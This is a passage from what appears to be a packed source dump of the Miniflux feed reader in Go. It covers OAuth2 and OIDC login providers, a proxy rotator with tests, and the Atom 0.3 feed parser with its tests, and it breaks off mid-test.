oauth2.SetAuthURLParam(\"code_verifier\", codeVerifier))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"google: failed to exchange token: %w\", err)\n\t}\n\n\tclient := conf.Client(ctx, token)\n\tresp, err := client.Get(\"https://www.googleapis.com/oauth2/v3/userinfo\")\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"google: failed to get user info: %w\", err)\n\t}\n\tdefer resp.Body.Close()\n\n\tvar user googleProfile\n\tdecoder := json.NewDecoder(resp.Body)\n\tif err := decoder.Decode(&user); err != nil {\n\t\treturn nil, fmt.Errorf(\"google: unable to unserialize Google profile: %w\", err)\n\t}\n\n\tprofile := &Profile{Key: g.GetUserExtraKey(), ID: user.Sub, Username: user.Email}\n\treturn profile, nil\n}\n\nfunc (g *googleProvider) PopulateUserCreationWithProfileID(user *model.UserCreationRequest, profile *Profile) {\n\tuser.GoogleID = profile.ID\n}\n\nfunc (g *googleProvider) PopulateUserWithProfileID(user *model.User, profile *Profile) {\n\tuser.GoogleID = profile.ID\n}\n\nfunc (g *googleProvider) UnsetUserProfileID(user *model.User) {\n\tuser.GoogleID = \"\"\n}\n"
  },
  {
    "path": "internal/oauth2/manager.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage oauth2 // import \"miniflux.app/v2/internal/oauth2\"\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"log/slog\"\n)\n\ntype Manager struct {\n\tproviders map[string]Provider\n}\n\nfunc (m *Manager) FindProvider(name string) (Provider, error) {\n\tif provider, found := m.providers[name]; found {\n\t\treturn provider, nil\n\t}\n\n\treturn nil, errors.New(\"oauth2 provider not found\")\n}\n\nfunc (m *Manager) AddProvider(name string, provider Provider) {\n\tm.providers[name] = provider\n}\n\nfunc NewManager(ctx context.Context, clientID, clientSecret, redirectURL, oidcDiscoveryEndpoint string) *Manager {\n\tm := &Manager{providers: make(map[string]Provider)}\n\tm.AddProvider(\"google\", NewGoogleProvider(clientID, clientSecret, redirectURL))\n\n\tif oidcDiscoveryEndpoint != \"\" {\n\t\tif genericOidcProvider, err := NewOidcProvider(ctx, clientID, clientSecret, redirectURL, oidcDiscoveryEndpoint); err != nil {\n\t\t\tslog.Error(\"Failed to initialize OIDC provider\",\n\t\t\t\tslog.Any(\"error\", err),\n\t\t\t)\n\t\t} else {\n\t\t\tm.AddProvider(\"oidc\", genericOidcProvider)\n\t\t}\n\t}\n\n\tif clientSecret == \"\" {\n\t\tslog.Warn(\"OIDC client secret is empty or missing.\")\n\t}\n\n\treturn m\n}\n"
  },
  {
    "path": "internal/oauth2/oidc.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage oauth2 // import \"miniflux.app/v2/internal/oauth2\"\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\n\t\"miniflux.app/v2/internal/model\"\n\n\t\"github.com/coreos/go-oidc/v3/oidc\"\n\t\"golang.org/x/oauth2\"\n)\n\nvar (\n\tErrEmptyUsername = errors.New(\"oidc: username is empty\")\n)\n\ntype oidcProvider struct {\n\tclientID     string\n\tclientSecret string\n\tredirectURL  string\n\tprovider     *oidc.Provider\n}\n\nfunc NewOidcProvider(ctx context.Context, clientID, clientSecret, redirectURL, discoveryEndpoint string) (*oidcProvider, error) {\n\tprovider, err := oidc.NewProvider(ctx, discoveryEndpoint)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(`oidc: failed to initialize provider %q: %w`, discoveryEndpoint, err)\n\t}\n\n\treturn &oidcProvider{\n\t\tclientID:     clientID,\n\t\tclientSecret: clientSecret,\n\t\tredirectURL:  redirectURL,\n\t\tprovider:     provider,\n\t}, nil\n}\n\nfunc (o *oidcProvider) GetUserExtraKey() string {\n\treturn \"openid_connect_id\"\n}\n\nfunc (o *oidcProvider) GetConfig() *oauth2.Config {\n\treturn &oauth2.Config{\n\t\tRedirectURL:  o.redirectURL,\n\t\tClientID:     o.clientID,\n\t\tClientSecret: o.clientSecret,\n\t\tScopes:       []string{oidc.ScopeOpenID, \"profile\", \"email\"},\n\t\tEndpoint:     o.provider.Endpoint(),\n\t}\n}\n\nfunc (o *oidcProvider) GetProfile(ctx context.Context, code, codeVerifier string) (*Profile, error) {\n\tconf := o.GetConfig()\n\ttoken, err := conf.Exchange(ctx, code, oauth2.SetAuthURLParam(\"code_verifier\", codeVerifier))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(`oidc: failed to exchange token: %w`, err)\n\t}\n\n\tuserInfo, err := o.provider.UserInfo(ctx, oauth2.StaticTokenSource(token))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(`oidc: failed to get user info: %w`, err)\n\t}\n\n\tprofile := &Profile{\n\t\tKey: o.GetUserExtraKey(),\n\t\tID:  userInfo.Subject,\n\t}\n\n\tvar userClaims userClaims\n\tif err := userInfo.Claims(&userClaims); err != nil {\n\t\treturn nil, fmt.Errorf(`oidc: failed to parse user claims: %w`, err)\n\t}\n\n\t// Use the first non-empty value from the claims to set the username.\n\t// The order of preference is: preferred_username, email, name, profile.\n\tfor _, value := range []string{userClaims.PreferredUsername, userClaims.Email, userClaims.Name, userClaims.Profile} {\n\t\tif value != \"\" {\n\t\t\tprofile.Username = value\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif profile.Username == \"\" {\n\t\treturn nil, ErrEmptyUsername\n\t}\n\n\treturn profile, nil\n}\n\nfunc (o *oidcProvider) PopulateUserCreationWithProfileID(user *model.UserCreationRequest, profile *Profile) {\n\tuser.OpenIDConnectID = profile.ID\n}\n\nfunc (o *oidcProvider) PopulateUserWithProfileID(user *model.User, profile *Profile) {\n\tuser.OpenIDConnectID = profile.ID\n}\n\nfunc (o *oidcProvider) UnsetUserProfileID(user *model.User) {\n\tuser.OpenIDConnectID = \"\"\n}\n\ntype userClaims struct {\n\tEmail             string `json:\"email\"`\n\tProfile           string `json:\"profile\"`\n\tName              string `json:\"name\"`\n\tPreferredUsername string `json:\"preferred_username\"`\n}\n"
  },
  {
    "path": "internal/oauth2/profile.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage oauth2 // import \"miniflux.app/v2/internal/oauth2\"\n\nimport (\n\t\"fmt\"\n)\n\n// Profile is the OAuth2 user profile.\ntype Profile struct {\n\tKey      string\n\tID       string\n\tUsername string\n}\n\nfunc (p Profile) String() string {\n\treturn fmt.Sprintf(`Key=%s ; ID=%s ; Username=%s`, p.Key, p.ID, p.Username)\n}\n"
  },
  {
    "path": "internal/oauth2/provider.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage oauth2 // import \"miniflux.app/v2/internal/oauth2\"\n\nimport (\n\t\"context\"\n\n\t\"golang.org/x/oauth2\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\n// Provider is an interface for OAuth2 providers.\ntype Provider interface {\n\tGetConfig() *oauth2.Config\n\tGetUserExtraKey() string\n\tGetProfile(ctx context.Context, code, codeVerifier string) (*Profile, error)\n\tPopulateUserCreationWithProfileID(user *model.UserCreationRequest, profile *Profile)\n\tPopulateUserWithProfileID(user *model.User, profile *Profile)\n\tUnsetUserProfileID(user *model.User)\n}\n"
  },
  {
    "path": "internal/proxyrotator/proxyrotator.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage proxyrotator // import \"miniflux.app/v2/internal/proxyrotator\"\n\nimport (\n\t\"net/url\"\n\t\"sync\"\n)\n\nvar ProxyRotatorInstance *ProxyRotator\n\n// ProxyRotator manages a list of proxies and rotates through them.\ntype ProxyRotator struct {\n\tproxies      []*url.URL\n\tcurrentIndex int\n\tmutex        sync.Mutex\n}\n\n// NewProxyRotator creates a new ProxyRotator with the given proxy URLs.\nfunc NewProxyRotator(proxyURLs []string) (*ProxyRotator, error) {\n\tparsedProxies := make([]*url.URL, 0, len(proxyURLs))\n\n\tfor _, p := range proxyURLs {\n\t\tproxyURL, err := url.Parse(p)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tparsedProxies = append(parsedProxies, proxyURL)\n\t}\n\n\treturn &ProxyRotator{\n\t\tproxies:      parsedProxies,\n\t\tcurrentIndex: 0,\n\t\tmutex:        sync.Mutex{},\n\t}, nil\n}\n\n// GetNextProxy returns the next proxy in the rotation.\nfunc (pr *ProxyRotator) GetNextProxy() *url.URL {\n\tif len(pr.proxies) == 0 {\n\t\treturn nil\n\t}\n\n\tpr.mutex.Lock()\n\tproxy := pr.proxies[pr.currentIndex]\n\tpr.currentIndex = (pr.currentIndex + 1) % len(pr.proxies)\n\tpr.mutex.Unlock()\n\n\treturn proxy\n}\n\n// HasProxies checks if there are any proxies available in the rotator.\nfunc (pr *ProxyRotator) HasProxies() bool {\n\treturn len(pr.proxies) > 0\n}\n"
  },
  {
    "path": "internal/proxyrotator/proxyrotator_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage proxyrotator // import \"miniflux.app/v2/internal/proxyrotator\"\n\nimport (\n\t\"testing\"\n)\n\nfunc TestProxyRotator(t *testing.T) {\n\tproxyURLs := []string{\n\t\t\"http://proxy1.example.com\",\n\t\t\"http://proxy2.example.com\",\n\t\t\"http://proxy3.example.com\",\n\t}\n\n\trotator, err := NewProxyRotator(proxyURLs)\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create ProxyRotator: %v\", err)\n\t}\n\n\tif !rotator.HasProxies() {\n\t\tt.Fatalf(\"Expected rotator to have proxies\")\n\t}\n\n\tseenProxies := make(map[string]bool)\n\tfor range len(proxyURLs) * 2 {\n\t\tproxy := rotator.GetNextProxy()\n\t\tif proxy == nil {\n\t\t\tt.Fatalf(\"Expected a proxy, got nil\")\n\t\t}\n\n\t\tseenProxies[proxy.String()] = true\n\t}\n\n\tif len(seenProxies) != len(proxyURLs) {\n\t\tt.Fatalf(\"Expected to see all proxies, but saw: %v\", seenProxies)\n\t}\n}\n\nfunc TestProxyRotatorEmpty(t *testing.T) {\n\trotator, err := NewProxyRotator([]string{})\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create ProxyRotator: %v\", err)\n\t}\n\n\tif rotator.HasProxies() {\n\t\tt.Fatalf(\"Expected rotator to have no proxies\")\n\t}\n\n\tproxy := rotator.GetNextProxy()\n\tif proxy != nil {\n\t\tt.Fatalf(\"Expected no proxy, got: %v\", proxy)\n\t}\n}\n\nfunc TestProxyRotatorInvalidURL(t *testing.T) {\n\tinvalidProxyURLs := []string{\n\t\t\"http://validproxy.example.com\",\n\t\t\"test|test://invalidproxy.example.com\",\n\t}\n\n\trotator, err := NewProxyRotator(invalidProxyURLs)\n\tif err == nil {\n\t\tt.Fatalf(\"Expected an error when creating ProxyRotator with invalid URLs, but got none\")\n\t}\n\n\tif rotator != nil {\n\t\tt.Fatalf(\"Expected rotator to be nil when initialization fails, but got: %v\", rotator)\n\t}\n}\n"
  },
  {
    "path": "internal/reader/atom/atom_03.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage atom // import \"miniflux.app/v2/internal/reader/atom\"\n\nimport (\n\t\"encoding/base64\"\n\t\"html\"\n\t\"strings\"\n)\n\n// Specs: http://web.archive.org/web/20060811235523/http://www.mnot.net/drafts/draft-nottingham-atom-format-02.html\ntype atom03Feed struct {\n\tVersion string `xml:\"version,attr\"`\n\n\t// The \"atom:id\" element's content conveys a permanent, globally unique identifier for the feed.\n\t// It MUST NOT change over time, even if the feed is relocated. atom:feed elements MAY contain an atom:id element,\n\t// but MUST NOT contain more than one. The content of this element, when present, MUST be a URI.\n\tID string `xml:\"http://purl.org/atom/ns# id\"`\n\n\t// The \"atom:title\" element is a Content construct that conveys a human-readable title for the feed.\n\t// atom:feed elements MUST contain exactly one atom:title element.\n\t// If the feed describes a Web resource, its content SHOULD be the same as that resource's title.\n\tTitle atom03Content `xml:\"http://purl.org/atom/ns# title\"`\n\n\t// The \"atom:link\" element is a Link construct that conveys a URI associated with the feed.\n\t// The nature of the relationship as well as the link itself is determined by the element's content.\n\t// atom:feed elements MUST contain at least one atom:link element with a rel attribute value of \"alternate\".\n\t// atom:feed elements MUST NOT contain more than one atom:link element with a rel attribute value of \"alternate\" that has the same type attribute value.\n\t// atom:feed elements MAY contain additional atom:link elements beyond those described above.\n\tLinks atomLinks `xml:\"http://purl.org/atom/ns# link\"`\n\n\t// The \"atom:author\" element is a Person construct that indicates the default author of the feed.\n\t// atom:feed elements MUST contain exactly one atom:author element,\n\t// UNLESS all of the atom:feed element's child atom:entry elements contain an atom:author element.\n\t// atom:feed elements MUST NOT contain more than one atom:author element.\n\tAuthor AtomPerson `xml:\"http://purl.org/atom/ns# author\"`\n\n\t// The \"atom:entry\" element's represents an individual entry that is contained by the feed.\n\t// atom:feed elements MAY contain one or more atom:entry elements.\n\tEntries []atom03Entry `xml:\"http://purl.org/atom/ns# entry\"`\n}\n\ntype atom03Entry struct {\n\t// The \"atom:id\" element's content conveys a permanent, globally unique identifier for the entry.\n\t// It MUST NOT change over time, even if other representations of the entry (such as a web representation pointed to by the entry's atom:link element) are relocated.\n\t// If the same entry is syndicated in two atom:feeds published by the same entity, the entry's atom:id MUST be the same in both feeds.\n\tID string `xml:\"id\"`\n\n\t// The \"atom:title\" element is a Content construct that conveys a human-readable title for the entry.\n\t// atom:entry elements MUST have exactly one \"atom:title\" element.\n\t// If an entry describes a Web resource, its content SHOULD be the same as that resource's title.\n\tTitle atom03Content `xml:\"title\"`\n\n\t// The \"atom:modified\" element is a Date construct that indicates the time that the entry was last modified.\n\t// atom:entry elements MUST contain an atom:modified element, but MUST NOT contain more than one.\n\t// The content of an atom:modified element MUST have a time zone whose value SHOULD be \"UTC\".\n\tModified string `xml:\"modified\"`\n\n\t// The \"atom:issued\" element is a Date construct that indicates the time that the entry was issued.\n\t// atom:entry elements MUST contain an atom:issued element, but MUST NOT contain more than one.\n\t// The content of an atom:issued element MAY omit a time zone.\n\tIssued string `xml:\"issued\"`\n\n\t// The \"atom:created\" element is a Date construct that indicates the time that the entry was created.\n\t// atom:entry elements MAY contain an atom:created element, but MUST NOT contain more than one.\n\t// The content of an atom:created element MUST have a time zone whose value SHOULD be \"UTC\".\n\t// If atom:created is not present, its content MUST considered to be the same as that of atom:modified.\n\tCreated string `xml:\"created\"`\n\n\t// The \"atom:link\" element is a Link construct that conveys a URI associated with the entry.\n\t// The nature of the relationship as well as the link itself is determined by the element's content.\n\t// atom:entry elements MUST contain at least one atom:link element with a rel attribute value of \"alternate\".\n\t// atom:entry elements MUST NOT contain more than one atom:link element with a rel attribute value of \"alternate\" that has the same type attribute value.\n\t// atom:entry elements MAY contain additional atom:link elements beyond those described above.\n\tLinks atomLinks `xml:\"link\"`\n\n\t// The \"atom:summary\" element is a Content construct that conveys a short summary, abstract or excerpt of the entry.\n\t// atom:entry elements MAY contain an atom:created element, but MUST NOT contain more than one.\n\tSummary atom03Content `xml:\"summary\"`\n\n\t// The \"atom:content\" element is a Content construct that conveys the content of the entry.\n\t// atom:entry elements MAY contain one or more atom:content elements.\n\tContent atom03Content `xml:\"content\"`\n\n\t// The \"atom:author\" element is a Person construct that indicates the default author of the entry.\n\t// atom:entry elements MUST contain exactly one atom:author element,\n\t// UNLESS the atom:feed element containing them contains an atom:author element itself.\n\t// atom:entry elements MUST NOT contain more than one atom:author element.\n\tAuthor AtomPerson `xml:\"author\"`\n}\n\ntype atom03Content struct {\n\t// Content constructs MAY have a \"type\" attribute, whose value indicates the media type of the content.\n\t// When present, this attribute's value MUST be a registered media type [RFC2045].\n\t// If not present, its value MUST be considered to be \"text/plain\".\n\tType string `xml:\"type,attr\"`\n\n\t// Content constructs MAY have a \"mode\" attribute, whose value indicates the method used to encode the content.\n\t// When present, this attribute's value MUST be listed below.\n\t// If not present, its value MUST be considered to be \"xml\".\n\t//\n\t// \"xml\": A mode attribute with the value \"xml\" indicates that the element's content is inline xml (for example, namespace-qualified XHTML).\n\t//\n\t// \"escaped\": A mode attribute with the value \"escaped\" indicates that the element's content is an escaped string.\n\t// Processors MUST unescape the element's content before considering it as content of the indicated media type.\n\t//\n\t// \"base64\": A mode attribute with the value \"base64\" indicates that the element's content is base64-encoded [RFC2045].\n\t// Processors MUST decode the element's content before considering it as content of the the indicated media type.\n\tMode string `xml:\"mode,attr\"`\n\n\tCharData string `xml:\",chardata\"`\n\tInnerXML string `xml:\",innerxml\"`\n}\n\nfunc (a *atom03Content) content() string {\n\tcontent := \"\"\n\n\tswitch a.Mode {\n\tcase \"xml\":\n\t\tcontent = a.InnerXML\n\tcase \"escaped\":\n\t\tcontent = a.CharData\n\tcase \"base64\":\n\t\tb, err := base64.StdEncoding.DecodeString(a.CharData)\n\t\tif err == nil {\n\t\t\tcontent = string(b)\n\t\t}\n\tdefault:\n\t\tcontent = a.CharData\n\t}\n\n\tif a.Type != \"text/html\" {\n\t\tcontent = html.EscapeString(content)\n\t}\n\n\treturn strings.TrimSpace(content)\n}\n"
  },
  {
    "path": "internal/reader/atom/atom_03_adapter.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage atom // import \"miniflux.app/v2/internal/reader/atom\"\n\nimport (\n\t\"log/slog\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/crypto\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/reader/date\"\n\t\"miniflux.app/v2/internal/reader/sanitizer\"\n\t\"miniflux.app/v2/internal/urllib\"\n)\n\ntype atom03Adapter struct {\n\tatomFeed *atom03Feed\n}\n\nfunc (a *atom03Adapter) buildFeed(baseURL string) *model.Feed {\n\tfeed := new(model.Feed)\n\n\t// Populate the feed URL.\n\tfeedURL := a.atomFeed.Links.firstLinkWithRelation(\"self\")\n\tif feedURL != \"\" {\n\t\tif absoluteFeedURL, err := urllib.ResolveToAbsoluteURL(baseURL, feedURL); err == nil {\n\t\t\tfeed.FeedURL = absoluteFeedURL\n\t\t}\n\t} else {\n\t\tfeed.FeedURL = baseURL\n\t}\n\n\t// Populate the site URL.\n\tsiteURL := a.atomFeed.Links.originalLink()\n\tif siteURL != \"\" {\n\t\tif absoluteSiteURL, err := urllib.ResolveToAbsoluteURL(baseURL, siteURL); err == nil {\n\t\t\tfeed.SiteURL = absoluteSiteURL\n\t\t}\n\t} else {\n\t\tfeed.SiteURL = baseURL\n\t}\n\n\t// Populate the feed title.\n\tfeed.Title = a.atomFeed.Title.content()\n\tif feed.Title == \"\" {\n\t\tfeed.Title = feed.SiteURL\n\t}\n\n\tfor _, atomEntry := range a.atomFeed.Entries {\n\t\tentry := model.NewEntry()\n\n\t\t// Populate the entry URL.\n\t\tentry.URL = atomEntry.Links.originalLink()\n\t\tif entry.URL != \"\" {\n\t\t\tif absoluteEntryURL, err := urllib.ResolveToAbsoluteURL(feed.SiteURL, entry.URL); err == nil {\n\t\t\t\tentry.URL = absoluteEntryURL\n\t\t\t}\n\t\t}\n\n\t\t// Populate the entry content.\n\t\tentry.Content = atomEntry.Content.content()\n\t\tif entry.Content == \"\" {\n\t\t\tentry.Content = atomEntry.Summary.content()\n\t\t}\n\n\t\t// Populate the entry title.\n\t\tentry.Title = atomEntry.Title.content()\n\t\tif entry.Title == \"\" {\n\t\t\tentry.Title = sanitizer.TruncateHTML(entry.Content, 100)\n\t\t}\n\t\tif entry.Title == \"\" {\n\t\t\tentry.Title = entry.URL\n\t\t}\n\n\t\t// Populate the entry author.\n\t\tentry.Author = atomEntry.Author.PersonName()\n\t\tif entry.Author == \"\" {\n\t\t\tentry.Author = a.atomFeed.Author.PersonName()\n\t\t}\n\n\t\t// Populate the entry date.\n\t\tfor _, value := range []string{atomEntry.Issued, atomEntry.Modified, atomEntry.Created} {\n\t\t\tif parsedDate, err := date.Parse(value); err == nil {\n\t\t\t\tentry.Date = parsedDate\n\t\t\t\tbreak\n\t\t\t} else {\n\t\t\t\tslog.Debug(\"Unable to parse date from Atom 0.3 feed\",\n\t\t\t\t\tslog.String(\"date\", value),\n\t\t\t\t\tslog.String(\"id\", atomEntry.ID),\n\t\t\t\t\tslog.Any(\"error\", err),\n\t\t\t\t)\n\t\t\t}\n\t\t}\n\t\tif entry.Date.IsZero() {\n\t\t\tentry.Date = time.Now()\n\t\t}\n\n\t\t// Generate the entry hash.\n\t\tfor _, value := range []string{atomEntry.ID, atomEntry.Links.originalLink()} {\n\t\t\tif value != \"\" {\n\t\t\t\tentry.Hash = crypto.SHA256(value)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tfeed.Entries = append(feed.Entries, entry)\n\t}\n\n\treturn feed\n}\n"
  },
  {
    "path": "internal/reader/atom/atom_03_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage atom // import \"miniflux.app/v2/internal/reader/atom\"\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestParseAtom03(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed version=\"0.3\" xmlns=\"http://purl.org/atom/ns#\">\n\t\t<title>dive into mark</title>\n\t\t<link rel=\"alternate\" type=\"text/html\" href=\"http://diveintomark.org/\"/>\n\t\t<modified>2003-12-13T18:30:02Z</modified>\n\t\t<author><name>Mark Pilgrim</name></author>\n\t\t<entry>\n\t\t\t<title>Atom 0.3 snapshot</title>\n\t\t\t<link rel=\"alternate\" type=\"text/html\" href=\"http://diveintomark.org/2003/12/13/atom03\"/>\n\t\t\t<id>tag:diveintomark.org,2003:3.2397</id>\n\t\t\t<issued>2003-12-13T08:29:29-04:00</issued>\n\t\t\t<modified>2003-12-13T18:30:02Z</modified>\n\t\t\t<summary type=\"text/plain\">It&apos;s a test</summary>\n\t\t\t<content type=\"text/html\" mode=\"escaped\"><![CDATA[<p>HTML content</p>]]></content>\n\t\t</entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"http://diveintomark.org/atom.xml\", bytes.NewReader([]byte(data)), \"0.3\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Title != \"dive into mark\" {\n\t\tt.Errorf(\"Incorrect title, got: %s\", feed.Title)\n\t}\n\n\tif feed.FeedURL != \"http://diveintomark.org/atom.xml\" {\n\t\tt.Errorf(\"Incorrect feed URL, got: %s\", feed.FeedURL)\n\t}\n\n\tif feed.SiteURL != \"http://diveintomark.org/\" {\n\t\tt.Errorf(\"Incorrect site URL, got: %s\", feed.SiteURL)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\ttz := time.FixedZone(\"Test Case Time\", -int((4 * time.Hour).Seconds()))\n\tif !feed.Entries[0].Date.Equal(time.Date(2003, time.December, 13, 8, 29, 29, 0, tz)) {\n\t\tt.Errorf(\"Incorrect entry date, got: %v\", feed.Entries[0].Date)\n\t}\n\n\tif feed.Entries[0].Hash != \"b70d30334b808f32e66eb19fabb263525cecd18f205720b583e84f7f295cf728\" {\n\t\tt.Errorf(\"Incorrect entry hash, got: %s\", feed.Entries[0].Hash)\n\t}\n\n\tif feed.Entries[0].URL != \"http://diveintomark.org/2003/12/13/atom03\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n\n\tif feed.Entries[0].Title != \"Atom 0.3 snapshot\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n\n\tif feed.Entries[0].Content != \"<p>HTML content</p>\" {\n\t\tt.Errorf(\"Incorrect entry content, got: %s\", feed.Entries[0].Content)\n\t}\n\n\tif feed.Entries[0].Author != \"Mark Pilgrim\" {\n\t\tt.Errorf(\"Incorrect entry author, got: %s\", feed.Entries[0].Author)\n\t}\n}\n\nfunc TestParseAtom03WithoutSiteURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed version=\"0.3\" xmlns=\"http://purl.org/atom/ns#\">\n\t\t<modified>2003-12-13T18:30:02Z</modified>\n\t\t<author><name>Mark Pilgrim</name></author>\n\t\t<entry>\n\t\t\t<title>Atom 0.3 snapshot</title>\n\t\t\t<link rel=\"alternate\" type=\"text/html\" href=\"http://diveintomark.org/2003/12/13/atom03\"/>\n\t\t\t<id>tag:diveintomark.org,2003:3.2397</id>\n\t\t</entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"http://diveintomark.org/atom.xml\", bytes.NewReader([]byte(data)), \"0.3\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.SiteURL != \"http://diveintomark.org/atom.xml\" {\n\t\tt.Errorf(\"Incorrect title, got: %s\", feed.Title)\n\t}\n}\n\nfunc TestParseAtom03WithoutFeedTitle(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed version=\"0.3\" xmlns=\"http://purl.org/atom/ns#\">\n\t\t<link rel=\"alternate\" type=\"text/html\" href=\"http://diveintomark.org/\"/>\n\t\t<modified>2003-12-13T18:30:02Z</modified>\n\t\t<author><name>Mark Pilgrim</name></author>\n\t\t<entry>\n\t\t\t<title>Atom 0.3 snapshot</title>\n\t\t\t<link rel=\"alternate\" type=\"text/html\" href=\"http://diveintomark.org/2003/12/13/atom03\"/>\n\t\t\t<id>tag:diveintomark.org,2003:3.2397</id>\n\t\t</entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"http://diveintomark.org/\", bytes.NewReader([]byte(data)), \"0.3\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Title != \"http://diveintomark.org/\" {\n\t\tt.Errorf(\"Incorrect title, got: %s\", feed.Title)\n\t}\n}\n\nfunc TestParseAtom03WithoutEntryTitleButWithLink(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed version=\"0.3\" xmlns=\"http://purl.org/atom/ns#\">\n\t\t<title>dive into mark</title>\n\t\t<link rel=\"alternate\" type=\"text/html\" href=\"http://diveintomark.org/\"/>\n\t\t<modified>2003-12-13T18:30:02Z</modified>\n\t\t<author><name>Mark Pilgrim</name></author>\n\t\t<entry>\n\t\t\t<link rel=\"alternate\" type=\"text/html\" href=\"http://diveintomark.org/2003/12/13/atom03\"/>\n\t\t\t<id>tag:diveintomark.org,2003:3.2397</id>\n\t\t</entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"http://diveintomark.org/\", bytes.NewReader([]byte(data)), \"0.3\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Title != \"http://diveintomark.org/2003/12/13/atom03\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseAtom03WithoutEntryTitleButWithSummary(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed version=\"0.3\" xmlns=\"http://purl.org/atom/ns#\">\n\t\t<title>dive into mark</title>\n\t\t<link rel=\"alternate\" type=\"text/html\" href=\"http://diveintomark.org/\"/>\n\t\t<modified>2003-12-13T18:30:02Z</modified>\n\t\t<author><name>Mark Pilgrim</name></author>\n\t\t<entry>\n\t\t\t<link rel=\"alternate\" type=\"text/html\" href=\"http://diveintomark.org/2003/12/13/atom03\"/>\n\t\t\t<id>tag:diveintomark.org,2003:3.2397</id>\n\t\t\t<summary type=\"text/plain\">It&apos;s a test</summary>\n\t\t</entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"http://diveintomark.org/\", bytes.NewReader([]byte(data)), \"0.3\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Title != \"It's a test\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseAtom03WithoutEntryTitleButWithXMLContent(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed version=\"0.3\" xmlns=\"http://purl.org/atom/ns#\">\n\t\t<title>dive into mark</title>\n\t\t<link rel=\"alternate\" type=\"text/html\" href=\"http://diveintomark.org/\"/>\n\t\t<modified>2003-12-13T18:30:02Z</modified>\n\t\t<author><name>Mark Pilgrim</name></author>\n\t\t<entry>\n\t\t\t<link rel=\"alternate\" type=\"text/html\" href=\"http://diveintomark.org/2003/12/13/atom03\"/>\n\t\t\t<id>tag:diveintomark.org,2003:3.2397</id>\n\t\t\t<content mode=\"xml\" type=\"text/html\"><p>Some text.</p></content>\n\t\t</entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"http://diveintomark.org/\", bytes.NewReader([]byte(data)), \"0.3\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Title != 